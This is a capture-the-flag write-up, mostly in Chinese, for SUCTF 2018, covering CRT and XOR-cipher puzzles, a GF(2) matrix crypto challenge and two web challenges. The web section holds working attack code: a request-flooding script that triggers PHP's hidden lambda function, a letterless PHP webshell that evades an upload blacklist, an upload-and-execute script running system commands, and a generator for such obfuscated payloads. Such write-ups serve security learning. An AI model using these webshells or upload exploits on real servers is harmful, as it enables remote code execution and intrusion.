suctf writeup

MISC

sandgame

game.py

1
2
3
4
5
6
7
8
import flag
flag = flag.flag
sands = int(flag[5:-1].encode("hex"), 16)
holes = [257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373]
with open("sand.txt", "w") as f:
for i in range(len(holes)):
sand = sands % holes[i]
f.write(str(sand)+"\n")

solution.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding:utf8
# import flag
# 解同余方程组;中国剩余定理,韩信点兵,扩展欧几里得,模反 <= 深入理解
#求模反元素,模逆元
def gcd(a,b):
while a!=0:
a,b = b%a,a
return b
#定义一个函数,参数分别为a,n,返回值为b
def findModReverse(a,m):#这个扩展欧几里得算法求模逆
if gcd(a,m)!=1:
return None
u1,u2,u3 = 1,0,a
v1,v2,v3 = 0,1,m
while v3!=0:
q = u3//v3
v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
return u1%m

holes = [257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373]
sand = [222, 203, 33, 135, 203, 62, 227, 82, 239, 82, 11, 220, 74, 92, 8, 308, 195, 165, 87, 4]
M=1
for i in holes:
M*=i
s=0
for i,j in enumerate(holes):
mi=j
Mi=M/mi
s=s+findModReverse(Mi,mi)*sand[i]*Mi
print str(hex(s%M)[2:-1]).decode('hex')
# This_is_the_CRT_xwg)

韩信点兵问题,根据中国剩余定理构造通解

1527361456797

Cycle

cycle.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import flag

def encryt(key, plain):
cipher = ""
for i in range(len(plain)):
cipher += chr(ord(key[i % len(key)]) ^ ord(plain[i]))
return cipher

def getPlainText():
plain = ""
with open("plain.txt") as f:
while True:
line = f.readline()
if line:
plain += line
else:
break
return plain

def main():
key = flag.flag
assert key.startswith("flag{")
assert key.endswith("}")
key = key[5:-1]
assert len(key) > 1
assert len(key) < 50
assert flag.languageOfPlain == "English"
plain = getPlainText()
cipher = encryt(key, plain)
with open("cipher.txt", "w") as f:
f.write(cipher.encode("base_64"))

if __name__ == "__main__":
main()

cipher.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
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

类似维吉尼亚的变种,key长度远小于plain,循环异或后可统计字频,南邮CTF平台有一题相似的。详见 https://findneo.github.io/171005NuptVigenereWP/ 。稍微更改其中读取密文部分即可。flag{Something Just Like This}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# coding:utf8
# by https://findneo.github.io/
def getCipher(file='code.txt'):
'''从文件中读取十六进制串,返回十六进制数组
'''
c=''.join(map(lambda x:x.strip(),open('cipher.txt').readlines())).decode('base_64')
cc= [ord(i) for i in c]
# print cc,len(cc)
return cc
# c = open(file).read()
# codeintlist = []
# codeintlist.extend(
# (map(lambda i: int(c[i:i + 2], 16), range(0, len(c), 2))))
# return codeintlist


def getKeyPool(cipher, stepSet, plainSet, keySet):
''' 传入的密文串、明文字符集、密钥字符集、密钥长度范围均作为数字列表处理.形如[0x11,0x22,0x33]
返回一个字典,以可能的密钥长度为键,以对应的每一字节的密钥字符集构成的列表为值,密钥字符集为数字列表。
形如{
1:[[0x11]],
3:[
[0x11,0x33,0x46],
[0x22,0x58],
[0x33]
]
}
'''
keyPool = dict()
for step in stepSet:
maybe = [None] * step
for pos in xrange(step):
maybe[pos] = []
for k in keySet:
flag = 1
for c in cipher[pos::step]:
if c ^ k not in plainSet:
flag = 0
if flag:
maybe[pos].append(k)
for posPool in maybe:
if len(posPool) == 0:
maybe = []
break
if len(maybe) != 0:
keyPool[step] = maybe
return keyPool


def calCorrelation(cpool):
'''传入字典,形如{'e':2,'p':3}
返回可能性,0~1,值越大可能性越大
(correlation between the decrypted column letter frequencies and
the relative letter frequencies for normal English text)
'''
frequencies = {"e": 0.12702, "t": 0.09056, "a": 0.08167, "o": 0.07507, "i": 0.06966,
"n": 0.06749, "s": 0.06327, "h": 0.06094, "r": 0.05987, "d": 0.04253,
"l": 0.04025, "c": 0.02782, "u": 0.02758, "m": 0.02406, "w": 0.02360,
"f": 0.02228, "g": 0.02015, "y": 0.01974, "p": 0.01929, "b": 0.01492,
"v": 0.00978, "k": 0.00772, "j": 0.00153, "x": 0.00150, "q": 0.00095,
"z": 0.00074}
relative = 0.0
total = 0
fpool = 'etaoinshrdlcumwfgypbvkjxqz'
total = sum(cpool.values()) # 总和应包括字母和其他可见字符
for i in cpool.keys():
if i in fpool:
relative += frequencies[i] * cpool[i] / total
return relative


def analyseFrequency(cfreq):
key = []
for posFreq in cfreq:
mostRelative = 0
for keyChr in posFreq.keys():
r = calCorrelation(posFreq[keyChr])
if r > mostRelative:
mostRelative = r
keychar = keyChr
key.append(keychar)

return key


def getFrequency(cipher, keyPoolList):
''' 传入的密文作为数字列表处理
传入密钥的字符集应为列表,依次包含各字节字符集。
形如[[0x11,0x12],[0x22]]
返回字频列表,依次为各字节字符集中每一字符作为密钥组成部分时对应的明文字频
形如[{
0x11:{'a':2,'b':3},
0x12:{'e':6}
},
{
0x22:{'g':1}
}]
'''
freqList = []
keyLen = len(keyPoolList)
for i in xrange(keyLen):
posFreq = dict()
for k in keyPoolList[i]:
posFreq[k] = dict()
for c in cipher[i::keyLen]:
p = chr(k ^ c)
posFreq[k][p] = posFreq[k][p] + 1 if p in posFreq[k] else 1
freqList.append(posFreq)
return freqList


def vigenereDecrypt(cipher, key):
plain = ''
cur = 0
ll = len(key)
for c in cipher:
plain += chr(c ^ key[cur])
cur = (cur + 1) % ll
return plain


def main():
ps = []
ks = []
ss = []
ps.extend(xrange(0xff))
ks.extend(xrange(0x20,0x80))
ss.extend(xrange(1, 50))
cipher = getCipher()

keyPool = getKeyPool(cipher=cipher, stepSet=ss, plainSet=ps, keySet=ks)
for i in keyPool:
freq = getFrequency(cipher, keyPool[i])
key = analyseFrequency(freq)
print ''.join(map(chr,key))


if __name__ == '__main__':
main()

WEB

Anonymous

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

https://www.jianshu.com/p/19e3ee990cb7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = 'web.suctf.asuri.org'
PORT = 81
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET /index.php HTTP/1.1\nHost: web.suctf.asuri.org\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
print requests.get('http://web.suctf.asuri.org:81/index.php?func_name=%00lambda_1').content

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

$flag="SUCTF{L4GsMqu6gu5knFnCi2Te8SjSucxKfQj6tuPJokoFhTCJjpa6RSfK}";

Getshell

要求上传的webshell文件从第6个字符开始都不能在黑名单内。

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

用burp intruder跑一遍,发现不在黑名单里的可打印字符有 $()[]_~=;. 共10个。

跑的时候需注意Intruder=>payloads=>payload encoding 处需取消勾选,否则会因为字符编码而不能得到正确的白名单。

跑的时候可以在Intruder=>options=>Grep-Match 中选择 flag illegal ,这样就可以快速看到那些字符是合法的了。

接下来就是构造一个由 $()[]_~=;. 组成的webshell了,主要思路来自 一些不包含数字和字母的webshell

构造出的最终结果如下:

1
<?= $_=_==_;$__=~一[$_];$___=~了[$_];$____=~端[$_];$_____=~得[$_];$______=~第[$_];$_______=~学[$_];$_=_.$__.$___.$____;$_=$$_;$__=$_____.$______.$______.$___.$_______.$____;$__($_[_]);

详细注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?= 
$_=_==_;//1
$__=~一[$_];//G
$___=~了[$_];//E
$____=~端[$_];//T
$_____=~得[$_];//A
$______=~第[$_];//S
$_______=~学[$_];//R
$_=_.$__.$___.$____;//_GET
$_=$$_;//$_GET
$__=$_____.$______.$______.$___.$_______.$____;//ASSERT
$__($_[_]);//ASSERT($_GET[_]);

------------------------------------------------------
http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php
?_=phpinfo();

可以有一个更短更舒服的选择

1
<?= $_=_==_;$__=~一[$_];$___=~了[$_];$____=~端[$_];$_=_.$__.$___.$____;$_=$$_;$_[_]($_[__]);

详细注释:

1
2
3
4
5
6
7
8
9
10
$_=_==_;//1
$__=~一[$_];//G
$___=~了[$_];//E
$____=~端[$_];//T
$_=_.$__.$___.$____;//_GET
$_=$$_;//$_GET
$_[_]($_[__]);//$_GET[_]($_GET[__]);
------------------------------------------------------
http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php
?_=assert&__=phpinfo();

读取flag

1
2
3
4
5
view-source:http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php?_=assert&__=system(%22ls%20-l%20/%22);

http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php?_=assert&__=readfile(%27/Th1s_14_f14g%27);

SUCTF{KyGeBLWoF9MXcdDKBdbw2B54sMxbsxyXBpm8t5nQUHBJKuAYEd6o}

上传小脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding:utf8
import requests
import re
data="<?= $_=_==_;$__=~一[$_];$___=~了[$_];$____=~端[$_];$_=_.$__.$___.$____;$_=$$_;$_[_]($_[__]);"
base="http://web.suctf.asuri.org:82/"
files = {'file': ('findneo.php', data, 'image/jpeg')}
content = requests.post(base+"upload.php", files=files).text
cmd='system("dir /");'
payload=base+re.match("[\s\S]*Stored in: ([a-z.0-9/]+)[\s\S]*",content).group(1)+"?_=assert&__="+cmd
print payload
print requests.get(payload).content

# http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php?_=assert&__=system("dir /");
# 1Th1s_14_f14g boot etc lib media opt root sbin sys usr
# bin dev home lib64 mnt proc run srv tmp var

写了一个用上述方法生成任意字母构成的字符串的小程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# coding: UTF-8
# Author: 'findneo'
# compose php code from limited whitelist: $()[]_~=;.

def gendict(index='_==_',target_chars=[chr(i) for i in range(0x20,0x7f)]):
sentence="如是我闻。一时薄伽梵。住王舍城鹫峰山顶。与大苾刍众千二百五十人俱。皆阿罗汉。诸漏已尽无复烦恼得真自在心善解脱慧善解脱。如调慧马亦如大龙。已作所作已办所办。弃诸重担逮得己利。尽诸有结正知解脱。至心自在第一究竟。除阿难陀独居学地得预流果。大迦叶波而为上首。复有五百苾刍尼众。皆阿罗汉。大胜生主而为上首。复有无量邬波索迦、邬波斯迦。皆见圣谛。复有无量无数菩萨摩诃萨众。一切皆得陀罗尼门三摩地门。住空无相无分别愿。已得诸法平等性忍。具足成就四无碍解。凡所演说辩才无尽。于五神通自在游戏。所证智断永无退失。言行威肃闻皆敬受。勇猛精进离诸懈怠。能舍亲财不顾身命。离矫离诳无染无求。等为有情而宣正法。契深法忍穷最极趣。得无所畏其心泰然。超众魔境出诸业障。摧灭一切烦恼怨敌。建正法幢伏诸邪论。声闻独觉不能测量。得心自在得法自在。业惑见障皆已解脱。择法辩说无不善巧。入深缘起生灭法门。离见随眠舍诸缠结。智慧通达诸圣谛理。曾无数劫发弘誓愿。容貌熙怡先言接引。远离颦蹙辞韵清和。赞颂善巧辩才无滞。处无边众威德肃然。抑扬自在都无所畏。多俱胝劫巧说无尽。于诸法门胜解观察。如幻如阳焰。如梦如水月。如响如空花。如像如光影。如变化事。如寻香城。虽皆无实而现似有。离下劣心说法无畏。能随证入无量法门。善知有情心行所趣。以微妙慧而度脱之。于诸有情心无挂碍。成就最上无生法忍。善入诸法平等性智。甚深法性能如实知。随其所应巧令悟入。能善宣说缘起法门。摄受无边佛国大愿。于十方界无数诸佛。等持正念常现在前。诸佛出世皆能历事。亦能劝请转正法轮。不般涅槃度无量众善能伏灭一切有情种种见缠诸烦恼焰。须臾游戏百千等持。引发无边殊胜功德。此诸菩萨具如是等妙功德海。设经无量俱胝大劫。叹不能尽。其名曰贤守菩萨摩诃萨。宝性菩萨摩诃萨。宝藏菩萨摩诃萨。宝授菩萨摩诃萨。导师菩萨摩诃萨。仁授菩萨摩诃萨。星授菩萨摩诃萨。神授菩萨摩诃萨。帝授菩萨摩诃萨。广慧菩萨摩诃萨。胜慧菩萨摩诃萨。上慧菩萨摩诃萨。增长慧菩萨摩诃萨。无边慧菩萨摩诃萨。不虚见菩萨摩诃萨。无障慧菩萨摩诃萨。善发趣菩萨摩诃萨。善勇猛菩萨摩诃萨。极精进菩萨摩诃萨。常精进菩萨摩诃萨。常加行菩萨摩诃萨。不舍轭菩萨摩诃萨。日藏菩萨摩诃萨。月藏菩萨摩诃萨。无比慧菩萨摩诃萨。观自在菩萨摩诃萨。得大势菩萨摩诃萨。妙吉祥菩萨摩诃萨。宝印手菩萨摩诃萨。摧魔力菩萨摩诃萨。金刚慧菩萨摩诃萨。金刚藏菩萨摩诃萨。常举手菩萨摩诃萨。大悲心菩萨摩诃萨。大庄严菩萨摩诃萨。庄严王菩萨摩诃萨。山峰菩萨摩诃萨。宝峰菩萨摩诃萨。德王菩萨摩诃萨。慈氏菩萨摩诃萨。如是等无量百千俱胝那庾多菩萨摩诃萨。皆法王子堪绍佛位而为上首。尔时世尊于师子座上。自敷尼师坛结跏趺坐。端身正愿住对面念。入等持王妙三摩地。诸三摩地皆摄入此三摩地中。是所流故。尔时世尊正知正念。从等持王安庠而起。以净天眼观察十方殑伽沙等诸佛世界。举身怡悦。从两足下千辐轮相。各放六十百千俱胝那庾多光。从足十指。两趺两跟。四踝两胫。两腨两膝。两股。腰胁腹背。脐中心上胸臆德字。两乳两腋。两肩两髆。两肘两臂。两腕两手。两掌十指。项咽颐颔。颊额头顶两眉两眼。两耳两鼻。口四牙。四十齿。眉间毫相。一一身分。各放六十百千俱胝那庾多光。此一一光各照三千大千世界。从此展转遍照十方殑伽沙等诸佛世界。其中有情遇斯光者。必得无上正等菩提。尔时世尊一切毛孔皆悉熙怡。各出六十百千俱胝那庾多光。是一一光各照三千大千世界。从此展转遍照十方殑伽沙等诸佛世界。其中有情遇斯光者。必得无上正等菩提。尔时世尊演身常光照此三千大千世界。从此展转遍照十方殑伽沙等诸佛国土。其中有情遇斯光者。必得无上正等菩提。尔时世尊从其面门出广长舌相。遍覆三千大千世界。熙怡微笑。复从舌相流出无量百千俱胝那庾多光。其光杂色。从此杂色一一光中。现宝莲花。其花千叶皆真金色。众宝庄严。绮饰鲜荣。甚可爱乐。香气芬烈。周流普熏。细滑轻软。触生妙乐。诸花台中皆有化佛结跏趺坐。演妙法音。一一法音。皆说般若波罗蜜多相应之法。有情闻者必得无上正等菩提。从此展转。流遍十方殑伽沙等诸佛世界。说法利益亦复如是。"
parse_byte=lambda c:[~i%256 for i in bytes(c, encoding='utf-8')][1]
d=dict()
for k in sentence:
j=parse_byte(k)
if chr(j) in target_chars and chr(j) not in d.keys():
d[chr(j)]="~{}[{}]".format(k,index)
return d


def gencode(code):
d=gendict(index='$_',target_chars=''.join(set(code)))
res='$__='+'.'.join(map(lambda x:d[x],code))
return res


code='@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
print(gencode(code))


# <?php
# $_=_==_;
# $__=~俱[$_].~得[$_].~住[$_].~伽[$_].~结[$_].~二[$_].~鹫[$_].~一[$_].~已[$_].~足[$_].~流[$_].~索[$_].~峰[$_].~精[$_].~山[$_].~尽[$_].~诸[$_].~宣[$_].~正[$_].~第[$_].~竟[$_].~誓[$_].~马[$_].~言[$_].~解[$_].~如[$_].~神[$_].~大[$_].~声[$_].~梵[$_].~顶[$_].~堪[$_].~城[$_].~果[$_].~坛[$_].~真[$_].~相[$_].~皆[$_].~百[$_].~是[$_].~闻[$_].~薄[$_].~数[$_].~生[$_].~响[$_].~和[$_].~摩[$_].~萨[$_].~叶[$_].~王[$_].~千[$_].~猛[$_].~苾[$_].~办[$_].~所[$_].~我[$_].~自[$_].~熙[$_].~慧[$_].~脱[$_].~烦[$_].~邬[$_].~恼[$_];
# var_dump($__);
# // string(63) "@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"

CRYPTO

Magic

把magic视为256x256的由0,1组成的矩阵M,把cipher视为256x1的矩阵C,把key视为256x1的矩阵K,已知M,C,且M*K = C (.mod 2),求K。

可以采用Gauss-Jordan 消元法 将增广矩阵[M|C] 简化为行阶梯形矩阵,那么变化后的C就是我们的解K。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
read_to_int_array = lambda x:[map(int,list(bin(int(line,16))[2:].zfill(256))) for line in open(x).readlines()]
cipher = read_to_int_array('cipher.txt')[0]
magic = read_to_int_array('magic.txt')
dim=len(cipher)
for col in range(dim):
for row in range(col,dim):
if magic[row][col]==1:
magic[col],magic[row]=magic[row],magic[col]
cipher[col],cipher[row]=cipher[row],cipher[col]
break
for row in range(dim):
if magic[row][col]==1 and row!=col:
for each_in_row in range(dim):
magic[row][each_in_row]^=magic[col][each_in_row]
cipher[row]^=cipher[col]
print "flag{%s}"%hex(int(''.join(map(str,cipher)),2))[2:-1].decode('hex')
#flag{Now_you_know_the_Hill_Cipher_xwg}

参考链接:

题目备份

https://github.com/findneo/ctfgodown/tree/master/20180527-suctf